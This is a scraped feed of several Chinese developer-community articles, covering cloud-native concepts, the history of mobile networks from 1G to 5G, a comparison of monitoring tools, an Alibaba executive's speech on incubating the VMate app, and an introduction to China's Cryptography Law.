        面向微服务:通过松耦合方式,提升应用程序的整体敏捷性和可维护性。
          正因为如此,你可以专注于创新,解决业务问题,而不是把时间花在“静态、不灵活的传统架构”存在的许多技术问题。

        云原生的四要素:持续交付、DevOps、微服务、容器

          从云原生的概念中,我们总是能看到持续交付、DevOps、微服务、容器等技术的出现,那么它们到底是什么,这里引用Pivotal台湾云计算资深架构师的部分观点,为大家逐一揭开他们的神秘面纱!

        image.png

        持续交付——缩小开发者认知,灵活开发方向

          首先是持续交付,什么样的时候客户要求持续交付?敏捷开发要求持续交付,因为敏捷开发要求随时有一个版本可以上到大群环境,所以要持续交付
          而换句话说,持续交付就是不误时开发。举一个例子,有些公司非常喜欢谈需求,谈很久,可是开发只剩1/3时间就开发完成,然后交付,再上线运营。这就会碰到一个问题,就是你开始谈需求到最后交付产品的时间,短则三月,长则半年,这中间市场已经变化了,需求也随之变化了。因此市场上出现了新的想法,即是不是能够小步快跑,把交付的周期缩短一点,我可以实现快速交付,每次交付都可以重新确认方向,这样尽量避免与未来期待的落差。
        image.png

        用小步快跑的方式,打破瀑布式开发流程

          那么问题来了,持续交付对于开发的人谈的需求、开发的方式有改变,那它对于开发有影响吗?如果说公司的开发团队一天可以交付五次,那研发团队要帮忙部署一次吗?现在公司大部分部署都是研发团队帮忙部署应用的,研发团队部署五次,要改版五次就需要部署一次,这是无法实现的。而且每次部署的时候都要面对停机,而实际公司的应用经不起一天停机五次部署,在互联网的思维之下,零宕机时间已经是现在企业的基本要求。于是“蓝绿部署”的概念营运而生。即在一个环境里面,第一版还在线上服务,第二版先做封测,封测完成后,让外面的流量进来一些,看log是不是开发人员要的,确认后再把全部的流量导到新的版本上。
        image.png

        图:蓝绿(Blue-Green) 部署

          但“蓝绿部署”在系统过多过复杂的情况下,在传统架构上实现非常困难,所以企业要做到zero down time的持续交付就需要有良好的平台與工具协助。因此,持续交付的优势在于,它可以缩小开发者认知,重新确认开发方向。

        微服务——内聚更强,更加敏捷

          第二部分是微服务。微服务是什么?有客户表示,提供商出产品,客户把应用全部放上去,结果就是一个微服务。这种认知是错误的,因为微服务是一个架构的改变。那么微服务是怎么做的呢?它所面临的最大挑战是什么?
          是切割。那么如何切割呢?其实这件事情早在1968年康威就提出了——康威定律,系统的服务划分应该是根据组织架构的功能来划分。1968年康威就提出了这个想法,我认为拿来做微服务的切割非常适用。
        image.png

        Going Agile - Breaking the monolith
        Conway's Law and Microservices

          这样按照组织架构划分的优势在于:

          1.内聚更强,所有遵循同一种业务准则的人内聚在一起,就容易解决问题。
          2.服务解耦,变更容易,更加敏捷。当做到解耦合的时候,要变更就容易。所以微服务应该是切分成这个样子,由上而下来切,根据Function来切。
          另外一个划分微服务的技巧,可以运用领域驱动设计(Domain Driven Design)的理论,而领域驱动设计亦可算是面向物件的一种设计思维;聚合可以让微服务划分更有依据,也让未來的系統变更具有弹性。值得一提的是领域驱动设计,也提供微服务中的事物问题。因为过去巨石应用进行两个报数的阶段,相当容易也常见,但在微服务架构中,如何在分散的服务中进行事物就显得相当困难。利用领域驱动设计的Event Souring进行设计,是目前最好的解決办法。

          那么在什么情况下需要微服务?我认为有三个标准:

          1.有HA(High Available)的需求需要微服务。
          2.有性能调校的需求(例如:图片的呈现或者搜寻)需要微服务。
          3.经常变更的需要微服务。
          实际上,微服务需要关注的源代码范围比较小,使得各个服务解耦、变更容易,内聚更强,因为都会集中在服务里。另外,它更容易单独改版,因为微服务之间是用RESTful间接起来的,用RESTful只要API的界面不改,原则上则不会错,也更敏捷。
          但微服务也会留下一些问题,例如App团队如何分工?环境怎么配合?如何实现自动化部署?

        容器技术——使资源调度、微服务更容易

          再来看看容器。在机器上运行的容器只是主机操作系统上的一个进程,与任何其他进程无异。那么,为什么容器如此受欢迎呢?原因在于这个进程被隔离和限制的方式。这种方式很特殊,可简化开发和运维。
          其实1979年就有容器技术,很多人会以为说Docker是不是等于容器,其实Docker不等于容器。容器的历史可追溯到Linux操作系统。容器利用了Linux的内核功能。Linux中容器的核心概念(cgroup、namespaces和filesystems)在独立的区域运行。容器的神奇之处在于将这些技术融为一体,以实现最大的便利性。
          VMware之前的技术专家在2011年发展出一个技术,把这个技术贡献出来成立了一个Cloud Foundry基金会。Docker在2013年才开始有,而且它第一版是用SLC的技术去做的。后来陆续一路成长,使得为服务的实现更容易了。
        image.png

        从 Infra 角度来看技术演进

          从上面这个表中可以看出,从左边开始,IaaS,虚拟化技术有了之后,刚刚提到的所谓第三代平台,这四个区块开发人员交付的内容不一样。所有的IaaS、CaaS、PaaS、FaaS一路的变化演进,对于客户的负担越到后面越小,而对于开发人员的想象力则愈发抽象。
          大家一定会遇到下列这些计算,一个是所谓的单体应用,或者翻译成巨石应用。此外,你们一定会有一些批次的管理,另外就是所谓的数据库的部分,开始可能会有容器技术,像K8S、Dock。
          Docker是软件行业最受欢迎的软件容器项目之一。思科、谷歌和IBM等公司在其基础设施和产品中使用Docker容器。
          Kubernetes是软件容器领域的另一个值得关注的项目。Kubernetes是一个允许自动化部署、管理和伸缩容器的工具。为了便于管理其容器,谷歌建立了Kubernetes。它提供了一些强大的功能,例如容器之间的负载均衡,重启失败的容器以及编排容器使用的存储。
        image.png

        容器生态图 /作者:Jimmy Song

          容器为云原生应用程序增加了更多优势。使用容器,你可以将微服务及其所需的所有配置、依赖关系和环境变量移动到全新的服务器节点上,而无需重新配置环境,这样就实现了强大的可移植性。

        DevOps——以终为始,运维合一

          最后让我们走向DevOps,它不是一种工具,DevOps其实要谈的是运维合一。
          DevOps如果从字面上来理解只是Dev(开发人员)+Ops(运维人员),实际上,它是一组过程、方法与系统的统称,其概念从2009年首次提出发展到现在,内容也非常丰富,有理论也有实践,包括组织文化、自动化、精益、反馈和分享等不同方面。
          首先,组织架构、企业文化与理念等,需要自上而下设计,用于促进开发部门、运维部门和质量保障部门之间的沟通、协作与整合,简单而言组织形式类似于系统分层设计。
          其次,自动化是指所有的操作都不需要人工参与,全部依赖系统自动完成,比如上述的持续交付过程必须自动化才有可能完成快速迭代。再次,DevOps的出现是由于软件行业日益清晰地认识到,为了按时交付软件产品和服务,开发部门和运维部门必须紧密合作。
          总之,DevOps强调的是高效组织团队之间如何通过自动化的工具协作和沟通来完成软件的生命周期管理,从而更快、更频繁地交付更稳定的软件。在内部沟通上,你可以想象DevOps是一个敏捷思維,是一个沟通的文化。当运营和研发有良好的沟通效率,才可以有更大的生产力。如果你的自动化程度够高,可以自主可控,工作负担降低,DevOps能够带来更好的工作文化、更高的工作效率。

        总结

          综上所述,云原生的DevOps、平台、持续交付、微服务都是云原生不可或缺的一部分,需要以全局地眼光看待问题,脱离任何一个元素,对于企业来说都是“管中窥豹”、“一叶障目”,只有加以整合才能见到云原生的全局风貌。
          面对业态各异的业务上云以及碎片化的物联网解决方案部署,利用云原生思维和模式,构建基于云原生的物联网平台以及解决方案,势必将加速企业,甚至整个社会的数字化转型。

        ]]>
        移动无线通信技术经历了哪些变迁? | 《5G移动无线通信技术》之一-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 5G丛书
        5G移动无线通信技术
        image.png
        (瑞典)Afif Osseiran
        (西)Jose F. Monserrat
        (德)Patrick Marsch 著
        陈明,缪庆育,刘愔 译

        第1章 移动无线通信技术的变迁

        1.1历史回顾

        诞生于 21 世纪的信息通信技术(又称 ICT 技术)起源于 20 世纪两个主要产业的融 合,即电信产业和计算机产业的融合。本书的目的是描述移动通信产业第五代技术的发 展趋势,这些技术将实现多种通信服务的增强融合,在包括连接、信息处理、数据存储 和人工智能在内的、复杂的分布式环境中,实现内容的分发、通信和运算。这些技术的 巩固和加强模糊了传统的技术功能的边界。例如,计算和存储嵌入到通信基础设施之中, 流程控制分布于互联网之上,而运算功能迁移到集中的云计算环境之中。

        1.2工业和技术革命:从蒸汽机到互联网

        ICT 产业源于电信产业和(计算机)互联网产业的结合,并给信息和通信服务的供给 和分发方式带来巨大的变革。大量被广泛使用的移动连接设备,推动社会进一步深入变革, 社会变得更加网络化和连接化,从而在经济、文化和技术方面产生深远影响。人类社会正 在经历一场技术革命,这个过程始于 20 世纪 70 年代半导体技术和集成电路技术的发展, 以及随之而来的信息技术(IT)的成熟和20世纪80年代现代电子通信技术的发展。下一 代 ICT 产业中日趋成熟的前沿包括,构建在不同的场景中,同时满足服务需求差异巨大 的交付框架,满足大量的不同需求,例如,来自和去往互联网的个人媒体交付,实现万物互联(物联网),并将安全和移动性作为可以配置的功能引入所有通信服务。有人将其 称为工业革命的第四阶段 [1]。 工业革命的四个阶段如图 1.1 所示。 第一阶段始于英国(大约 1760—1840 年),其间诞生了动力织布机和蒸汽机。在随 后的几十年里,12 世纪的农业经济迅速转型为工业经济,用于生产货物的机器大行其道。
        image.png
        第二阶段(大约 1840—1914 年)始于贝西默钢铁生产程序,这一阶段实现了早期工业电气化,大规模工业制造和流水线生产方式。电气化生产线上的工人分工更加专业,从而实现了大规模工业制造。
        第三阶段(大约1950—2010年)主要归功于电子信息技术,特别是可编程逻辑控制器件 (Programmable Logic Controllers,PLC)的发明。这些技术进一步提升了生产流程自动化和产能。
        第四阶段也就是我们目前所处的时代。在这个时代,通过新一代无线通信技术实现万物互联,无处不在地连接设备和物品,推动工业自动化水平再次飞跃。
        人们期待的第五代移动通信(5G)提供了进入工业革命第四阶段的途径。因为它将以人为主要服务对象的无线通信,延伸到人与物全连接的世界。特别需要指出的是5G包括了:

        • 连接成为人与物的标准配置;
        • 关键和海量的机器连接;
        • 新的频段和监管制度;
        • 移动和安全成为网络功能;
        • 通过互联网的内容分发集成;
        • 网络边缘处理和存储;
        • 软件定义网络和网络功能虚拟化。

        1.3 移动通信的发展:从 1G 到 4G

        图 1.2 给出了蜂窝移动通信的发展史。从 20 世纪 70 年代的婴儿期(第一代无线通信1G)到 2020 年(第五代移动通信5G),蜂窝移动通信系统演进的主要历程见图 1.2。
        image.png
        第一代商用模拟移动通信系统部署于 20 世纪五六十年代 [2],但市场渗透率很低。 1981 年诞生了第一代移动蜂窝系统(1G),包括北欧国家部署的北欧移动电话系统 (NMT) ,德国、葡萄牙和南非部署的 C-Netz 系统,英国部署的TACS 系统和北美部署 的 AMPS 系统。1G 由于采用模拟技术而被称为模拟标准,通常采用调频信号和数字信令信道。1982 年欧洲邮电管理大会(CEPT)决定开发泛欧第二代移动通信系统,即处于2G统治地位的 GSM 系统,1991 年 GSM 开始国际部署。2G的标志是实现了数字发 送技术和交换技术。数字技术有效地提升了话音质量和网络容量,同时引入了新服务和 高级应用,例如用于文本信息的存储和转发的短消息。
        设计 GSM 系统的首要目的是实现欧洲数字语音服务的国际漫游。与 1G 仅使用 了 FDMA 相比,GSM 采用了混合的时分多址(TDMA) / 频分多址(FDMA)技术。与 此同时,全球其他的 2G 系统也在部署过程中,并且相互竞争。这些 2G 技术包括:(1)北美的 NA-TDMA(TIA/EIA-122)标准;(2) CDMAOne(TIA/EIA IS-22A) [2];(3) 仅用于日本的个人数字蜂窝系统(PDC)。2G 的演进又称为 2.5G,在语音和数据电路交换之上,引入了数据分组交换的业务。主要的 2.5G 标准包括 GPRS 和 TIA/EIA-221, 二者分别是 GSM 和 TIA/EIA-p2A 的演进版。此后不久,GSM 进一步演进为 EDGE 和 EGPRS。其性能增强主要是采用了更高级的调制和编码技术。GSM/EDGE 在 3GPP 标准继续演进,并且在最新的版本里支持更宽的带宽和载波聚合技术。
        2G 系统商用不久,业内就开始准备和讨论第三代无线通信系统。同时国际电信联盟无线通信委员会(ITU-R)制定了国际移动通信系统 2000(IMT-2000)的要求。1998 年 1 月,两个基于 CDMA 技术的标准被欧洲通信标准协会(ETSI)接纳为全球移动通信系统(UMTS),分别是宽带 CDMA(WCDMA)和时分 CDMA(TD-CDMA)技术。 UMTS 成为主要的 3G 移动通信系统,并且是最早达到 IMT-2000 要求的技术。最终有6个空中接口技术满足IMT-2000要求,包括3个基于CDMA的技术,1 个GSM/EDGE 的新版本(称为UWC-136)和另外2 个基于OFDMA的技术 [5]。如图 1.2 所示,在 3G 合作伙伴项目(3GPP)的框架内,制定了被称为 3G 演进的新技术规范,即 3.5G。这一演进技术建议包括两个无线接入网络(RAN)技术和一个核心网演进建议。
        第一个 RAN 技术是 3GPP2 制定的基于cdma2000 的演进版本 1xEV-DO 和 1xEVDV。第二个 RAN 技术是高速数据分组接入技术(HSPA)。HSPA 由 3GPP R5 版加入下 行 HSPA(HSDPA)和 3GPP R6 版加入上行 HSPA(HSUPA)组成。二者都是为了提升数 据速率,下行提高到 14.6Mbit/s,上行提高到 5.76Mbit/s。在 MIMO 引入后,速率获得 进一步提升。HSPA 技术基于 WCDMA 并且完全后向兼容。CDMA 1xEV-DO 在 2003 年 开始部署,HSPA 和 CDMA 1x EV-DV 于 2006 年实现商用。
        所有 3GPP 标准始终保持着新功能后向兼容的理念。这也体现在 HSPA 的进一步演 进 HSPA+,该技术通过载波聚合获得更高的速率,但不影响原有终端正常使用。 第二个UMTS演进技术,也被商业上认为是4G技术,称为LTE7,包括了新的基于正交频分多址(OFDMA)的空中接口,新的网络架构和新的称为SAE/EPC的核心网(CN)。 LTE与UMTS并不后向兼容,并期望在2007年的世界无线电大会(WRC)获得更多的频谱。这个标准设计灵活,可以部署在从1.4MHz到20MHz的不同带宽的载波上。
        LTE 标准实现了系统容量的大幅提升,其设计使蜂窝网络脱离了电路交换的功能。与之前的通信系统相比,这一改进显著降低了成本。2007 年年底,第一个 LTE 版本得 到 3GPP 批准,称为 LTE R8 版本。这一版本的峰值速率约为 326Mbit/s,和以前的系统 相比频谱利用效率获得了提升,并显著降低了时延(下降到20ms)。与此同时,ITU-R 提出了 IMT-2000 的后续要求(IMT-Advanced)作为制定第四代移动通信系统的标称 要求。LTE R8 版本并不能达到 IMT-Advanced 的要求,因此被认为是前 4G 技术。这 些要求后来有所放松,因此 LTE 被统一认为是 4G 技术。技术上,3GPP LTE R10 版本 和 IEEE 802.16m(又称 WiMAX)是最早满足 IMT-Advanced 要求的空中接口技术。而 WiMAX 尽管被批准成为 4G 标准,但没有被市场广泛接受,最终被 LTE 取代。与 R8 版本相比,LTE R10 版本新增了高阶 MIMO 和载波聚合的技术,从而提升了容量和速率,利用高达 100MHz 的载波聚合带宽可以达到 3Gbit/s 下行峰值速率和 1.5Gbit/s 上行峰值速率。其中下行采用 8x8 MIMO,上行采用 4x4 MIMO。
        3GPP 对于 LTE 的标准化工作持续进行,包括 R11 版本到 R13 版本,以及后续版本。 LTE R11 版本通过引入载波聚合、中继和干扰消除技术优化了 LTE R10 版本的容量。同时,增加了新的频谱以及多点协同发送和接收(CoMP)技术。
        在 2015 年 3 月冻结的 LTE R12 版本增加了异构网络和更高级的 MIMO 以及 FDD/ TDD载波聚合。另外增加了一些回传和核心网负载均衡的功能。接下来LTE R11和R13版 本,为了支持机器类通信(MTC),例如传感器和电动装置,引入了新的物联网解决方案(包 括LTE-M和窄带物联网NB-IoT) 9。这些新技术提升了覆盖,延长了电池的续航能力,降低 了终端成本。R13版本为了获得极高的移动宽带速率引入高达32载波的载波聚合技术。
        截至 2015 年年中,全球蜂窝移动用户数达到74.9 亿 [11],其中 GSM/EDGE,包括以 数据通信为目标的 EGPRS 主宰了无线接入网络。GSM 市场份额达到 57%(其用户数达到 42.6 亿) ,但是 GSM 的连接数已经达到峰值,并开始下降。另一方面,3G(包括 HSPA) 的用户数从 2010 起不断上升,达到 19.4 亿,市场占有率达到26%。爱立信移动报告预 测 2020 年 WCDMA/HSPA 的用户数将达到顶峰,之后将会下降 [12]。处于 4G 主导地位的 LTE 技术截至 2015 年年底,发展用户 9.1 亿(市场份额 12%) ,预计 2021 年达到 41 亿用 户 [12],从而成为用户数最多的移动通信技术。图 1.3 展示了目前市场上的 3GPP 技术。总 体趋势是越来越广的频谱分布,更高的带宽,更高的频谱利用率和更低的时延。
        image.png

        1.4从移动宽带到极限移动宽带

        5G极限移动宽带(xMBB)服务满足人们面向 2020 年,对极高数据速率的持续渴望。 对视频业务的广泛需求和对诸如虚拟现实、高清视频的兴趣推动了高达若干吉比特每秒 的速率要求。5G 技术使无线网络获得当前只能由光纤接入实现的速率和服务。感知互 联网进一步增加了对低时延的诉求。当低时延和高峰值速率需要同时满足时,就对网络 能力提出了更高的要求。

        1.5物联网(IoT)和 5G 的关系

        近几年来,有几个不同的概念描述 ICT 行业的一个重要领域,即物联网(IoT),信 息物理融合系统(CPS)和机器类通信(M2M),但这些概念各有侧重。
        (1)物联网(IoT),又被称为“万物互联” (IoE),强调了互联网连接的所有对象(包 括人和机器)都拥有唯一的地址,并通过有线和无线网络进行通信 [13]。
        (2)信息物理融合系统(CPS)强调通过通信系统对计算过程和物理过程(诸如传 感器,人和物理环境)的集成。特别是该物理过程在数字化(信息)系统中可以被观察、监视、控制和自动化处理。嵌入式计算和通信能力是信息物理融合系统的两个关键技术。 现代化的电网就可以被视为一个典型的 CPS 系统 [14]。
        (3)机器类通信(M2M)被用来描述机器之间的通信。尽管数字处理器在不同的层 次嵌入到工业系统中的历史已经有很多年,但新的通信能力将会在大量的分布式处理器 之间实现连接,并使得原本本地的数字监控和控制提升到更广泛的系统级别,甚至是全 球的范围。4G 和 5G 就可以提供这些通信能力。不仅如此,当所有的目标被无线技术和 互联网连接,并且当计算和存储也分布在网络中时,信息物理融合系统(CPS)和物联 网(IoT)的区别就消失了。因此,无线移动通信是物联网(IoT)的重要赋能者。特别 是 5G 将赋能新的物联网用例(例如低时延和高可靠性需求的用例),以及其他无线通信 系统尚未涉足的经济领域。
        第二章:如何实现海量数据的处理

        ]]>
        基于Prometheus+Grafana的应用监控系统建设(一)-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 Prometheus + Grafana 应用级监控方案(1)-概述

        主流监控方案比较

        比较项 Prometheus+Grafana Zabbix BKCE
        整体方案 Prometheus更像一个“监控引擎”,文本配置,UI极简,适用于应用级监控,配合Grafana配置界面,UI够漂亮 传统监控,以IP为监控主目标,更适合于主机、网络监控,对SNMP支持很好,带PHP界面,可自行扩展但整体界面不够“靓” 腾讯蓝鲸社区版,运维及CMDB功能非常强大,PaaS,DevOps,社区版的监控是PaaS之上的APP,专业性、扩展性均一般(据说企业版很强大),开源生态较一般
        监控目标 exporter-Pull模型,更安全,性能影响小 Agent-Push方式,部署复杂 Agent-重点在于下发指令及文件传输(BT),监控只是顺带功能,支持自动远程部署
        支持 数据库/中间件/应用/硬件,开源生态圈丰富 对SNMP支持特别好,偏硬件、网络、服务器,对应用级监控支持一般 支持常用的监控项,要扩展不是一般的麻烦
        存贮 自带TDB及外部数据库,建议使用外部InfluxDB Mysql/PostgreSQL,对时序类的支持不好 InfluxDB+Mysql
        UI 建议使用Grafana配置方式 PHP,自定义扩展,界面一般 有限几种展示,扩展就别想了(社区版)
        性能 10万数据/秒,GO语言的程序,性能值得信赖 一般,个人认为Mysql不适合用于存监控数据 BKCE自身较占资源,必竟它的使用场景是“上万台服务器下的自动运维、监控”,小场景下无优势
        告警 类SQL方式脚本化配置,建议将告警放到Grafana,告警时能带图片+链接,很友好 事件+条件+操作,较完整的告警体系 告警规则较死板,通过BKCE的消息通道推送,支持微信、短信等(自家产品)

        参考资料

        其它方案

        • Elastic stack

          • 以ElasticSearch为核心件,Beats为其监控扩展插件,Kibana为UI展示端的“全家桶”方案
          • Filebeat + ES + Kibana 组成的日志分析型监控,无出其右者!
          • 支持常用的OS、数据库、中间件等多种Beat,UI界面友好
          • 扩展性一般、第三方扩展资源较少
          • 企业级应用需要用到权限、远程同步等安全及高级功能,则需要购买xpack许可,可不便宜

        Prometheus + Grafana 方案小结

        • 引擎 + UI ,较好地体现了“Unix哲学”之一: 让程序只做一件事并把它做好,Unix最伟大的功能之一”管道“就是这个体现," ls |grep | sort |wc " 这种操作,相信作为运维人员是很熟悉的
        • yml配置文件而非界面配置:开发人员写文档更喜欢 markdown而非Word/Notepad,编辑配置同理
        • export设计简洁:Don't call me,I will call you!
        • TDB及RDB-InfluxDB: 非时序型数据库的监控方案不应该被采用,除非数据量很小
        • Prometheus 这个名字太美,就像Eclipse的名字一样美妙--自行体会吧

        方案不足之处

        • Prometheus自身的扩展不方便,Go语言写的代码,到处是协程、管道,要读懂处理过程还是比较麻烦的
        • 吐槽一下:Golang由于众所周知的原因,编译时下载依赖包及编译环境初始化有些障碍,这不是事,我从没见过一个程序编译需要8CPU全跑满,几分钟后告诉你”XX变量申明但没有使用,编译失败!“这种体验!
        • 关于告警:Prometheus的告警方案体验一般,Grafana的告警方案不够灵活,两者都不太理想,能结合一下就完美
        • 自动部署:BKCE的监控模块有一大优点是能通过它自己的NodeMan远程自动部署,”能让机器完成的事,不浪费程序员一秒钟“,在本方案中均需要手工配置完成监控系统、exports、view、Alert等工作

        智慧运维之监控系统

        • 增加自动部署子系统,完成大部分监控对象的批量自动化部署,极大提升监控开发、部署的效率
        • 修改自动化部署配置文件 --> 一键部署,完成监控数据采集、监控展示界面、监控告警输出等过程
        • 扩展Prometheus 的 UI部分,集成自动部署工具及Grafana的扩展界面(如:交换机状态图、运维窗口设置等)
        • 扩展Grafana,增加几个有用的显示插件
        • 通过Grafana的 webhook增加告警输出处理(如优化钉钉推送,告警信息反向推送至Granfna界面等)

        自动化部署方案

        自动化部署示例

        监控及告警示例

        如对我们的产品有兴趣,请联系: tianhc@tythin.com

        ]]>
        阿里创新事业群创新投资负责人邓兆俊:做孵化创新,不追风口而应创造“风口”-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        image.png

        12月10~11日,2019年度CEO峰会暨猎云网创投颁奖盛典在北京望京凯悦酒店隆重举行,近百位知名资本大咖,独角兽创始人、创业风云人物及近千位投资人与创业者共聚“新势力·2019年度CEO峰会暨猎云网创投颁奖盛典”。

        在《互联网公司做孵化创新,最看重什么》的主题演讲中,阿里创新业务事业群创新投资负责人邓兆俊,以印度短视频社区产品VMate为例,分享了公司孵化一项创新业务的侧重点和对“出海”创新机遇的理解。

        VMate由UC于2017年底在印度创立,是一款面向印度年轻人的短视频UGC内容社区产品,主打普通人的生活纪录和分享。

        尽管印度短视频市场起步不久,但却备受中国互联网公司青睐。其大量的人口基数、低价流量套餐与重度视频消费习惯,都为短视频的快速发展奠定了基础。

        邓兆俊表示,作为阿里巴巴创新事业群旗下的一款产品,阿里对于创新项目的管理,是把机会给到喜欢创新的人,通过深入、有特色的投后管理,来解决创新问题。

        谈及出海项目,邓兆俊提到,VMate团队“不追求DAU”的态度,给了其在印度很大的成长空间。

        此外,项目出海并非简单的模仿,而是基于当地市场的需求,从用户出发解决实际痛点,“我们不追逐风口而是去创造‘风口’,根据用户需求开展相应项目”。

        谈及出海创新,邓兆俊认为有以下几点建议:

        第一,寻找海外的用户价值,他们需要怎样的东西——这是最有价值的创新。

        再就是反观国内已有的APP,比如在衣食住行、社交等领域,寻找印度、东南亚市场所没有的,都可以尝试发起新赛道。

        第二,从已有的产品里寻找新机会。“无论是抖音还是快手,与两年前相比,其实都很不一样,它的媒体属性、社交属性都在改变,这里面也可能是机会所在之处”。

        第三,寻找00后用户的消费潜力。

        为了帮助创业者和投资人重新蓄力,2019年,猎云网携全新品牌“新势力(New Force Summit)”亮相。本次峰会由猎云网主办,锐视角、猎云资本、猎云财经、企业管家协办。

        此次盛典上,猎云网将通过六个版块分享创业者和投资人在智能制造、文娱、零售、医疗、教育、汽车等领域的启发性的观点和行业前瞻,围绕多个维度,分享科技和产业前沿观点,探讨创新潮流趋势、把握未来新方向。

        以下为邓兆俊演讲实录,猎云网整理:

        大家好,我来自阿里巴巴创新业务事业群的邓兆俊。作为阿里巴巴20多个事业群之一,我们肩负着阿里巴巴创新与造风的责任。同时作为创新推进办公室的负责人,我不仅关注外部市场,在内部我也有投资孵化、投后管理的职责。所以跟刚才的创业型嘉宾相比,我们是投资人,同时也是项目管理人。

        先跟大家分享下我们创新事业群的产品VMate。

        简单来讲这是一款面向印度普通消费者的短视频社区产品,目前VMate的全球下载量排行第18,MAU已经达到5000万。从市场投放角度看,我们花出去的费用,可能只是竞品的几十分之一到几百分之一。

        有人会问,阿里巴巴那么有钱,为什么不做投放?实际上,我们把钱花在了更重要的地方上,比如我们的地推人员与本地化的运营人员的数量是竞品的很多倍。

        我们为什么这样做,而不花大把的钱买量,就在于我们的价值观。VMate是想为印度人民提供平等交流的媒体或者平台。

        在我们做不到这一点之前,我们觉得,任何投放都是扩大在不清晰道路上的“加速”。虽然这种“超快感”能给我们带来一些业绩方面的收益,但其实满足不了我们真正的价值观——就是满足用户的需求。

        截屏2019-12-12上午10.28.32.png

        举个例子,一个叫Kajul的普通印度女孩,她在VMate上有30万的粉丝,她通过拍自己开拖拉机、下地种田这样的短视频,能给自己每个月带来一两万的人民币收入。我们知道,印度GDP是中国五分之一,印度人的平均工资是一千多人民币。

        在这个GDP不高的国家里面的“下沉”市场中,一两万元人民币的收入对很多家庭来说是家庭总收入——这样的收入,Kajul在做短视频之前,是不敢想象的。所以,VMate改变了她自己家庭和她所居住的村庄,开启了印度本地人对于美好生活的向往。

        可能会有人问我们,当初项目是如何立项做VMate的。

        数据显示,UC在印度成为继Facebook、Google之外的第三大生态型互联网应用平台。在UC浏览器国际版中,我们做了很多文字、图片的搜索类目。我们发现,印度的多元化程度非常复杂,比如他们有40个语种,而且不同地区的方言有属于自己的语言体系。当各种各样的语言交杂在一起时,这些语言很难用统一的文字去实现人与内容之间的正常交流。

        所以,我们发现信息流在那边是有局限性的。

        于是,我们就选择了用短视频这种表达方式更直接的把人和内容连接在一起,至少它突破了文字的局限性。

        可能有的公司选择降维打法,国内有什么,国外就做什么。当然思维方式的不一样,最后谁赢谁输也不能确定。但是我们立项是要通过当地市场的需求评估,解决用户的痛点完成VMate立项,我们现在有5000万的MAU,包括留存等数据都保持比较稳定的发展态势。

        下面再简单介绍一下我们创新事业群。

        除了VMate,我们还有国内首款弹唱App唱鸭,这是00后用户中一款非常火的唱歌软件,此外包括天猫精灵、夸克搜索也都是我们的产品,在其他领域,我们也还在继续探索新的赛道和产品。

        为什么选择这些赛道?我们所有的创新都不是因为别人做了什么,我们就做什么,而是我们对于市场、对于用户的分析,觉得我们应该投入人力、财力去做这样的事情。

        逍遥子在不同的场合说过,我们不追逐风口,我们要创造风口。当我们发现用户有新的需求,而我们的能力也可以满足用户需求后,才会启动项目。

        我们的管理过程与很多投资机构不一样的是,很多投资机构是三分投,七分管。

        我们是既有外部投资也有内部孵化,阿里巴巴有很多潜力型人才,我们也有相应的创新机制,一种人愿意做成熟业务,另外一种人喜欢创新,我们给机会。

        第三种我们通过外部投资,来解决我们的创新的问题。但是我们也没有把这种方式提到很重要的位置,因为我们觉得把每个项目做好,大家觉得创投A轮到IPO成功概率2%,我们认为成功的数据跑起来,差不多有50%。

        大家可以看到从小到大我们的管理就是OKR+PDCA一起进行,OKR是强目标管理的管理方式,可以用来管理项目的一号位,也可以用来投资,PDCA则是不停试错的过程。

        有哪个项目从一开始的定位,特别是今天门槛那么低的移动互联网市场中,今天定位,半年之后就可以成,一年之后跟当初我画的蓝图一模一样?当然也有,个别的企业,包括快手、抖音都是这样的,但是大多数投的项目都是中途不停地变,又想变,又不想变的话,就是用OKR+PDCA,定一个目标,定一个标准,三个月、六个月能不能做到,做不到的话,目标定错了,我们改。

        再就是做不到,团队没问题,这不是简单的换方向,从餐饮变成房地产。所以OKR非常有用。PDCA是配合OKR,OKR在一个月、两个月内改。把这个跑通了,我们投资项目成功率会高很多。

        还有一个机制,大家说在阿里巴巴创新有什么样的机制激励他们?

        像VMate是今年拿到阿里巴巴集团1亿美金的投资。我们很多业务在做到一定阶段之后都会分拆做到一个独立法人,独立法人有自己独立的股权。所以,与阿里巴巴的关系是投资关系。

        跟大家聊一下还有哪些创新机会在哪里。

        第一,出海。出海有两种思路,一是寻找海外的用户价值,他们需要怎样的产品——这是最有价值的创新。

        你会发现他们缺的很多产品,我们都是已经有的。

        再就是简单粗暴,把中国已经有的APP列出来,衣食住行、社交等,再把印度、东南亚市场里缺失的产品列一下,这些都可以做的。

        也许一棒子打不到底,但出海是一个好方向,UC浏览器在当地的用户量就非常大。

        第二,UGC社区。大家看今天的抖音、快手,与两年前的抖音、快手,其实很不一样,它的媒体属性、社交属性都在改变,这里面我们觉得也可能是机会。

        第三,寻找00后用户的消费潜力。大家可以多接触一下伴随手机成长的00户,首先,他们是有一定的消费能力。第二,他们的自传播性非常强,只是我们不懂他们真正需要的是什么产品。

        最后,我们做任何的立项也好,只问两个问题:你能解决用户什么痛点?用户为什么要用你的产品?

        包括VMate拿到阿里投资的时候,我们做了一年,一年当中从来没有认真地汇报过任何DAU、KPI、留存,大家觉得很奇怪,不汇报DAU汇报什么。

        我们汇报产品有什么样的功能,满足了印度人的什么样的需求。

        谢谢大家!

        转自创头条,原文链接为:http://www.ctoutiao.com/2563420.html

        声明:以上内容来自于网络,如有侵权,请联系删除

        ]]>
        15天后密码法正式施行 必备功课做完了吗?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 距离2020年1月1日《中华人民共和国密码法》(简称“密码法”)正式施行,还剩15天。密码法都做了哪些规定,与我们个人和企业有什么关系,在新法正式施行前我们应该怎么做好准备?今天我们就来聊一聊密码法相关的那些事。

        密码法最受关注的四大问题

        密码法的“密码”指的是什么?
        一提到密码,我们都会联想到银行密码、手机密码、支付密码、账号密码等等,但此密码并非彼密码。
        密码法里的密码指的是使用特定变换对信息等进行加密保护或者安全认证的产品、技术和服务。所以对于硬件安全模块、服务器密码机、数字证书认证系统等核心功能属于加密保护或安全认证的产品都属于密码产品。
        按照密码的功能形态分为核心密码、普通密码和商用密码。核心密码和普通密码是用来保护国家秘密信息,商用密码是用于保护不属于国家秘密的信息的密码,是互联网和其他行业使用最为广泛的类型。

        那么重点来了,密码法跟谁有关?
